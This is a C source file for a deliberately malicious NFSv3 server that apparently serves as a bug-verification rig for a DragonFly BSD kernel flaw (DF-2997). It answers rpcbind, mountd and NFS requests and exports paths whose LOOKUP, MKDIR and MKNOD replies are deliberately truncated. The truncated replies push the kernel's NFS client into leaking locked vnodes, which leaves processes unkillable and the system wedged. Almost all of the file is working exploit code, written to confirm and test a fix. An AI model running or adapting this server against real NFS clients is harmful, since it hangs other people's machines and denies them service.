/*
 * fakesrv.c - malicious NFSv3 server for DF-2997 verification
 *             (nfs_lookup / nfs_mkdir error paths vrele() vnodes that
 *              nfs_nget returned LK_EXCLUSIVE-locked -> permanent
 *              vnode-lock leak -> unkillable-process / vnlru wedge)
 *
 * Speaks just enough SUNRPC/UDP for the DragonFly in-kernel NFS client
 * (same proven rig as the DF-2996 session):
 *   - rpcbind  (prog 100000, vers 2/3/4) on port 111  -> mountd/nfs ports
 *   - mountd   (prog 100005, vers 3)     on port 779  -> MNT <path> -> root fh
 *   - nfs      (prog 100003, vers 3)     on port 2049
 *
 * THREE exports, distinguished by the root filehandle handed out by MNT:
 *   /ct -> fh_ct = 'A'*32   (control : fully honest server)
 *   /lk -> fh_lk = 'L'*32   (lkmal  : LOOKUP leak via nfs_vnops.c:1272)
 *   /mk -> fh_mk = 'M'*32   (mkmal  : MKDIR  leak via nfs_vnops.c:2361)
 *
 * Per-mount behaviour for LOOKUP(dirfh, name), counting lookups per name:
 *
 *  control : NOENT(+dir attrs) until the name was created; after that a
 *            fully-formed positive reply [ok][fh][obj attrs][dir attrs].
 *            MKDIR -> [ok][fhfollow=1][fh][attrs=1][fattr][wcc]. Honest.
 *  lkmal   : LOOKUP #1 (the nresolve pre-check) -> NOENT so the create
 *            proceeds; LOOKUP #2+ (the compat-shim VOP_OLD_LOOKUP inside
 *            the same touch/mkdir syscall, which always goes to the wire)
 *            -> [ok][fh(name)] and NOTHING ELSE (truncated post-op attrs)
 *            -> client: nfsm_getfh OK, nfs_nget OK (fresh vnode, returned
 *            LK_EXCLUSIVE), nfsm_postop_attr fails -> EBADRPC ->
 *            nfs_lookup nfsmout:1272 vrele(newvp)  == THE LEAK.
 *            Subsequent LOOKUPs of the same name get the same reply;
 *            the client wedges in nfs_nget -> vget -> vn_lock (no PCATCH)
 *            on the permanently-locked vnode.
 *  mkmal   : LOOKUP #1,#2 -> NOENT (mkdir pre-check + shim lookup, so
 *            VOP_OLD_MKDIR runs); MKDIR(name) ->
 *            [ok][fhfollow=1][fh(name)] and NOTHING ELSE ->
 *            client: nfsm_mtofh: nfs_nget OK (locked vnode), attrs-bool
 *            dissect fails -> EBADRPC -> nfs_mkdir:2361 vrele(newvp)
 *            == THE LEAK.  LOOKUP #3+ -> truncated positive reply
 *            (wedge trigger for the repeat mkdir / any later reference).
 *
 * fh(name) is a deterministic 32-byte function of the name so that every
 * reply for the same name carries the same filehandle (nfs_nget hash-hit
 * on the wedged vnode is what turns the leak into the wedge).
 *
 * env: VERBOSE=1 dump every request
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

#define NFS3_NULL     0
#define NFS3_GETATTR  1
#define NFS3_SETATTR  2
#define NFS3_LOOKUP   3
#define NFS3_ACCESS   4
#define NFS3_READ     6
#define NFS3_CREATE   8
#define NFS3_MKDIR    9
#define NFS3_MKNOD   11
#define NFS3_REMOVE  12
#define NFS3_RMDIR   13
#define NFS3_READDIR 16
#define NFS3_FSSTAT  18
#define NFS3_FSINFO  19

#define NF3REG 1
#define NF3DIR 2

#define NFS3_OK      0
#define NFS3_NOENT   2

static int verbose;

static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void puthyper(u_int64_t v) { put32(v >> 32); put32((u_int32_t)v); }
static void put64(u_int64_t v) { puthyper(v); }
static void putbytes(const void *p, int n) { memcpy(rep + rlen, p, n); rlen += n; }
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s) {
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static void putopaque(const void *p, int n) {
	put32(n); putbytes(p, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

/* the four export roots */
static unsigned char fh_ct[32], fh_lk[32], fh_mk[32], fh_nd[32];

/* per-name state */
#define NNAME 8192
struct nameent {
	char name[64];
	int lookups;
	int created;		/* control mode: created by MKDIR/CREATE */
};
static struct nameent names[NNAME];

static struct nameent *
nameent_get(const char *name)
{
	unsigned h = 5381;
	const char *p;
	int i, first = -1;

	for (p = name; *p; p++)
		h = h * 33 + (unsigned char)*p;
	h &= NNAME - 1;
	for (i = 0; i < NNAME; i++) {
		struct nameent *e = &names[(h + i) & (NNAME - 1)];
		if (e->name[0] == 0) {
			if (first < 0)
				first = (h + i) & (NNAME - 1);
			continue;
		}
		if (strcmp(e->name, name) == 0)
			return e;
	}
	if (first < 0)
		return NULL;
	snprintf(names[first].name, sizeof(names[first].name), "%s", name);
	return &names[first];
}

/* deterministic fh for a name */
static void fh_of(const char *name, unsigned char *out)
{
	unsigned h = 2166136261u;
	int i;

	memset(out, 0, 32);
	for (i = 0; name[i]; i++) {
		h ^= (unsigned char)name[i];
		h *= 16777619u;
	}
	out[0] = 'W';
	for (i = 1; i < 32; i++) {
		h ^= h << 13; h ^= h >> 7; h ^= h << 17; h *= 2654435761u;
		out[i] = (h >> 24) & 0xff;
	}
}

static int fh_is(const unsigned char *p, int len, const unsigned char *ref)
{
	return len == 32 && memcmp(p, ref, 32) == 0;
}

/* which mount (mode) does a dir fh belong to? 0=unknown,1=ct,2=lk,3=mk,4=nd */
static int fh_mode(const unsigned char *p, int len)
{
	if (fh_is(p, len, fh_ct)) return 1;
	if (fh_is(p, len, fh_lk)) return 2;
	if (fh_is(p, len, fh_mk)) return 3;
	if (fh_is(p, len, fh_nd)) return 4;
	return 0;
}

/* build one fattr3 (21 words) */
static void put_fattr(int type, u_int32_t mode, u_int32_t fileid,
		      u_int64_t size, u_int32_t nlink)
{
	put32(type);		/* ftype */
	put32(mode);		/* mode */
	put32(nlink);		/* nlink */
	put32(0);		/* uid */
	put32(0);		/* gid */
	put64(size);		/* size */
	put64(size + 4096);	/* used */
	put32(0); put32(0);	/* rdev specdata1/2 */
	put64(0x1234);		/* fsid */
	put64(fileid);		/* fileid */
	put32(0x5a5a0000); put32(0);	/* atime sec/nsec */
	put32(0x5a5a0001); put32(0);	/* mtime sec/nsec */
	put32(0x5a5a0002); put32(0);	/* ctime sec/nsec */
}

static void put_postopattr(int type, u_int32_t mode, u_int32_t fileid,
			   u_int64_t size, u_int32_t nlink)
{
	put32(1);			/* attributes follow */
	put_fattr(type, mode, fileid, size, nlink);
}

static void put_dirattrs(u_int32_t mode)
{
	put_postopattr(NF3DIR, mode, 1, 4096, 3);
}

/* wcc_data: before=false after=false */
static void put_wcc_none(void) { put32(0); put32(0); }

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

/* ------------------------------------------------------------------ */
struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28)
		return -1;
	c->xid   = get32(p + 0);
	mtype    = get32(p + 4);
	if (mtype != 0)
		return -1;
	c->prog  = get32(p + 12);
	c->vers  = get32(p + 16);
	c->proc  = get32(p + 20);
	off = 24;
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

static int arg_fh(const unsigned char *a, int *off, int alen,
		  const unsigned char **fhpp)
{
	int n;
	if (*off + 4 > alen) return -1;
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > 64 || *off + n > alen) return -1;
	*fhpp = a + *off;
	*off += n + ((4 - (n & 3)) & 3);
	return n;
}

static void arg_str(const unsigned char *a, int *off, int alen,
		    char *out, int outmax)
{
	int n;
	if (*off + 4 > alen) { out[0] = 0; return; }
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > outmax - 1 || *off + n > alen) { out[0] = 0; return; }
	memcpy(out, a + *off, n);
	out[n] = 0;
	*off += n + ((4 - (n & 3)) & 3);
}

/* ------------------------------------------------------------------ */
static void handle_pmap(struct call *c, struct sockaddr_in *from, int s)
{
	u_int32_t prog, port = 0;

	if (c->vers == 2 && c->proc == 3) {		/* PMAPPROC_GETPORT */
		prog = get32(c->args + 0);
		if (prog == PROG_MNTD) port = PORT_MNTD;
		else if (prog == PROG_NFS) port = PORT_NFS;
		reply_hdr(c->xid);
		put32(port);
	} else if ((c->vers == 3 || c->vers == 4) &&
		   (c->proc == 3 || c->proc == 0)) {
		if (c->proc == 0) {
			reply_hdr(c->xid);
		} else {
			prog = get32(c->args + 0);
			port = (prog == PROG_MNTD) ? PORT_MNTD :
			       (prog == PROG_NFS)  ? PORT_NFS  : 0;
			reply_hdr(c->xid);
			if (port)
				putstr("127.0.0.1.3.11");
			else
				putstr("");
		}
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose) fprintf(stderr, "pmap v%u p%u -> %u bytes\n",
			     c->vers, c->proc, rlen);
}

static void handle_mntd(struct call *c, struct sockaddr_in *from, int s)
{
	if (c->proc == 0) {				/* NULL */
		reply_hdr(c->xid);
	} else if (c->proc == 1) {			/* MNT */
		char path[256];
		int off = 0;
		const unsigned char *root = fh_ct;

		arg_str(c->args, &off, c->alen, path, sizeof(path));
		if (strcmp(path, "/lk") == 0)
			root = fh_lk;
		else if (strcmp(path, "/mk") == 0)
			root = fh_mk;
		else if (strcmp(path, "/nd") == 0)
			root = fh_nd;
		if (verbose)
			fprintf(stderr, "MNT %s -> root %c\n", path, root[0]);
		reply_hdr(c->xid);
		put32(0);			/* status ok */
		putopaque(root, 32);		/* root filehandle */
		put32(1); put32(1);		/* flavors: AUTH_SYS */
	} else if (c->proc == 3) {			/* UMNT */
		reply_hdr(c->xid);
		put32(0);
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose) fprintf(stderr, "mntd p%u -> %u bytes\n", c->proc, rlen);
}

/*
 * THE TRUNCATED LOOKUP REPLY: [ok][fh] and stop.  The client's
 * nfsm_postop_attr() dissect of 4 bytes fails -> NULL -> EBADRPC.
 */
static void put_trunc_lookup(const char *name)
{
	unsigned char fh[32];

	fh_of(name, fh);
	put32(NFS3_OK);
	putopaque(fh, 32);
}

static void handle_nfs(struct call *c, struct sockaddr_in *from, int s)
{
	const unsigned char *fh;
	int off = 0, fhlen;
	char name[256];
	unsigned char nfh[32];

	reply_hdr(c->xid);

	switch (c->proc) {
	case NFS3_NULL:
		break;

	case NFS3_GETATTR:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		if (fh_mode(fh, fhlen))
			put_fattr(NF3DIR, 0777, 1, 4096, 3);
		else
			put_fattr(NF3REG, 0666, 2, 0, 1);
		break;

	case NFS3_SETATTR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_ACCESS:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		put_dirattrs(0777);
		put32(0x3f);		/* all access bits granted */
		break;

	case NFS3_LOOKUP: {
		struct nameent *e;
		int mode, n;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		mode = fh_mode(fh, fhlen);
		e = nameent_get(name);
		n = ++e->lookups;

		if (verbose)
			fprintf(stderr, "LOOKUP[%s] #%d (mode %d)\n",
				name, n, mode);

		switch (mode) {
		case 2:			/* lkmal */
			if (n == 1) {
				put32(NFS3_NOENT);
				put_dirattrs(0777);
			} else {
				/* ok + fh(name), TRUNCATED post-op attrs */
				put_trunc_lookup(name);
			}
			break;
		case 3:			/* mkmal */
			if (n <= 2) {
				put32(NFS3_NOENT);
				put_dirattrs(0777);
			} else {
				put_trunc_lookup(name);
			}
			break;
		case 4:			/* ndmal: always NOENT for LOOKUP */
			put32(NFS3_NOENT);
			put_dirattrs(0777);
			break;
		default:		/* control (or unknown root fh) */
			if (e->created) {
				fh_of(name, nfh);
				put32(0);
				putopaque(nfh, 32);
				put_postopattr(NF3DIR, 0777, 7, 4096, 2);
				put_dirattrs(0777);
			} else {
				put32(NFS3_NOENT);
				put_dirattrs(0777);
			}
			break;
		}
		break;
	}

	case NFS3_CREATE: {
		struct nameent *e;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		e = nameent_get(name);
		e->created = 1;
		put32(0);			/* ok */
		put32(0);			/* no fh follows */
		put32(0);			/* no attrs follow */
		put_wcc_none();
		break;
	}

	case NFS3_MKNOD: {
		/*
		 * ndmal: truncated MKNOD reply (ok + fhfollow=1 + fh,
		 * nothing else).  This drives the STOCK kernel's own,
		 * already-correct vput() error path in nfs_mknodrpc
		 * (nfs_vnops.c:1655-1657) to leave a VNON 0-ref cached
		 * vnode -- proving the umount "dangling vnode" panic
		 * pre-exists DF-2997's fix.
		 */
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		if (verbose)
			fprintf(stderr, "MKNOD[%s] (mode %d)\n", name,
				fh_mode(fh, fhlen));
		fh_of(name, nfh);
		put32(0);			/* ok */
		put32(1);			/* fh follows */
		putopaque(nfh, 32);
		/* stop: no attrs-bool, no wcc */
		break;
	}

	case NFS3_MKDIR: {
		struct nameent *e;

		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));
		e = nameent_get(name);
		e->created = 1;
		if (verbose)
			fprintf(stderr, "MKDIR[%s] (mode %d)\n", name,
				fh_mode(fh, fhlen));

		if (fh_mode(fh, fhlen) == 3) {
			/*
			 * *** THE LIE ***: ok + fhfollow=1 + fh(name)
			 * and NOTHING ELSE.  nfsm_mtofh: nfs_nget OK
			 * (locked vnode), attrs-bool dissect -> NULL ->
			 * EBADRPC -> nfs_mkdir:2361 vrele(newvp).
			 */
			fh_of(name, nfh);
			put32(0);		/* ok */
			put32(1);		/* fh follows */
			putopaque(nfh, 32);
			/* stop: no attrs-bool, no wcc */
		} else {
			/* honest control reply */
			fh_of(name, nfh);
			put32(0);
			put32(1);
			putopaque(nfh, 32);
			put32(1);
			put_fattr(NF3DIR, 0777, 7, 4096, 2);
			put_wcc_none();
		}
		break;
	}

	case NFS3_REMOVE:
	case NFS3_RMDIR:
		put32(0);
		put_wcc_none();
		break;

	case NFS3_FSSTAT:
		put32(0);
		put_dirattrs(0777);
		put64(1 << 30); put64(1 << 30); put64(1 << 30);
		put32(0);
		break;

	case NFS3_FSINFO:
		put32(0);
		put_dirattrs(0777);
		put32(8192);	/* rtmax */
		put32(8192);	/* rtpref */
		put32(8192);	/* rtmult */
		put32(8192);	/* wtmax */
		put32(8192);	/* wtpref */
		put32(8192);	/* wtmult */
		put32(8192);	/* dtpref */
		put64((u_int64_t)1 << 40);	/* maxfilesize */
		put32(1); put32(0);		/* time_delta */
		put32(0x1f);			/* properties */
		break;

	case NFS3_READDIR:
		put32(0);
		put_dirattrs(0777);
		put32(0); put32(0);	/* cookieverf */
		put32(0);		/* no entries follow */
		put32(1);		/* eof */
		break;

	case NFS3_READ:
		put32(0);
		put_postopattr(NF3REG, 0666, 2, 0, 1);
		put32(0);		/* count 0 */
		put32(1);		/* eof */
		putopaque("", 0);
		break;

	default:
		if (verbose)
			fprintf(stderr, "nfs proc %u: NOENT\n", c->proc);
		put32(NFS3_NOENT);
		break;
	}
	goto send;
bad:
	reply_hdr(c->xid);
	put32(10001);	/* garbage */
send:
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose)
		fprintf(stderr, "nfs p%u -> %u bytes\n", c->proc, rlen);
}

static int mkudp(int port)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	int one = 1;
	if (s < 0) { perror("socket"); exit(1); }
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(port);
	if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		fprintf(stderr, "bind port %d: %s\n", port, strerror(errno));
		exit(1);
	}
	return s;
}

int main(int argc, char **argv)
{
	int sp, sm, sn, max;
	fd_set rfds;
	struct call c;
	struct sockaddr_in from;
	socklen_t flen;

	verbose = getenv("VERBOSE") != NULL;
	memset(fh_ct, 'A', sizeof(fh_ct));
	memset(fh_lk, 'L', sizeof(fh_lk));
	memset(fh_mk, 'M', sizeof(fh_mk));
	memset(fh_nd, 'N', sizeof(fh_nd));

	sp = mkudp(PORT_PMAP);
	sm = mkudp(PORT_MNTD);
	sn = mkudp(PORT_NFS);
	max = (sp > sm ? sp : sm);
	if (sn > max) max = sn;
	max++;

	fprintf(stderr,
	    "fakesrv2997: exports /ct(control) /lk(lookup-leak) /mk(mkdir-leak)"
	    " /nd(mknod-trunc) (rpcbind:%d mountd:%d nfs:%d)\n",
	    PORT_PMAP, PORT_MNTD, PORT_NFS);

	for (;;) {
		FD_ZERO(&rfds);
		FD_SET(sp, &rfds);
		FD_SET(sm, &rfds);
		FD_SET(sn, &rfds);
		if (select(max, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR) continue;
			perror("select");
			return 1;
		}
		if (FD_ISSET(sp, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sp, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_pmap(&c, &from, sp);
		}
		if (FD_ISSET(sm, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sm, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_mntd(&c, &from, sm);
		}
		if (FD_ISSET(sn, &rfds)) {
			flen = sizeof(from);
			int n = recvfrom(sn, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_nfs(&c, &from, sn);
		}
	}
	return 0;
}
